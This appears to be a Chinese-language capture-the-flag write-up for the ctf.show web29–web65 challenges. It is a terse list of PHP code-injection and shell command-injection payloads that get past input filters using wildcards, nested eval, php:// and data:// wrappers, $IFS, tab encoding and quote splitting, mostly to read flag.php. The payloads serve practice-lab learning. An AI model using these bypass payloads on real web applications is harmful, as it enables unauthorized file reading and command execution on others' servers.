web29
对flag
进行了过滤
可以采用通配符来代替
通配符*
和?
的区别是*
可以用来代替零个、单个或多个字符,而?
仅可以使用代替一个字符。*
表示匹配的数量不受限制,而?
的匹配字符数则受到限制。
c=system('ls');
c=system('cat fla?.php');
或者是
将flag.php复制到1.txt文件内
c=system('cp fla?.php 1.txt');
然后访问ctf.show/1.txt
web30
对php
,system
进行了过滤
同上一题一样
web31
对空格,.
,还有cat
进行了过滤。
采用 嵌套eval执行
先试一试c=eval($_GET[pw]);&pw=phpinfo();
,测试成功
c=eval($_GET[pw]);&pw=system('ls');
c=eval($_GET[pw]);&pw=system('cat flag.php');
然后查看源码
web32
这次连;
分号都过滤了
在最末尾,?>
可以代替;
分号
c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php
include
进行包含,%0a
是换行,php://filter/convert.base64-encode/resource
是文件包含的插件
得到的是Base64编码文件,然后进行Base64解码
web33
和web32类似
c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php
也可以
c=require%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php
web34
同理
c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php
web35
同理
c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php
web36
同理
c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php
web37
c=data://text/plain,<?php system('cat fla?.php');?>
flag
用通配符表示
data:
将后面的内容当作代码
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
而这个是将<?php system('cat flag.php')?>
进行Base64编码
web38
这次过滤了flag
,php
,file
。
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
<?php system('cat flag.php')?>
进行了Base64编码
web39
这次没有了回显。
c=data://text/plain,<?php system("cat fla?.ph?");?>
c=data://text/plain,<?= system("cat fla?.ph?");?>
c=data://text/plain,<?= system("tac fla?.ph?");?>
web40
show_source(next(array_reverse(scandir(pos(localeconv())))));
show_source()
函数和highlight_file()
函数一样, — 语法高亮一个文件。
scandir
函数 — 列出指定路径中的文件和目录
成功则返回包含有文件名的array
,如果失败则返回false
。如果directory
不是个目录,则返回布尔值false
并生成一条E_WARNING
级的错误
web41
使用宇师傅大佬的脚本
https://blog.csdn.net/miuzzx/article/details/108569080
web42
c=cat flag.php%0a;
或者是
c=cat flag.php;ls
通过双写进行绕过,分号进行分割,分号后面作为参数输入到/dev/null
中
分号前面被执行。
web43
对cat
进行了过滤,可以使用tac
或者nl
来代替cat
c=tac flag.php%0a
web44
flag
被过滤了,用通配符代替
c=tac fla?.php%0a
web45
过滤了,;
分号还有空格,对于分号可以使用&&
来代替,且经过URL编码,为%26%26
c=tac%09fla?.php%26%26ls
或者是
c=tac%09fla?.php%0a
web46
过滤了*
通配符,$
符号
使用
c=tac%09fla?.php%0a
或者
c=tac%09fla?.php%26%26ls
web47
并没有对tac
进行过滤
使用
c=tac%09fla?.php%0a
或者
c=tac%09fla?.php%26%26ls
web48
和web47一样
web49
同上
web50
过滤了%09
和%26
c=tac<fla''g.php||ls
或者
c=nl<fla''g.php||ls
||
或逻辑运算符也可以进行URL编码为%7c%7c
web51
这次过滤了tac
所以使用c=nl<fla''g.php%7c%7cls
web52
c=nl$IFS/fla''g%7c%7cls
web53
$d = system($c);
是将%c
作为命令执行。
使用
c=c''at${IFS}fla''g.p''hp
web54
可以使用mv
重命名
c=mv${IFS}fla?.php${IFS}z.txt
还有提示
/bin/?at${IFS}f???????
其他符号用通配符?
代替
web55
web56
web57
web 58
c=show_source('flag.php');
web59
c=show_source('flag.php');
web60~web65
都是一样的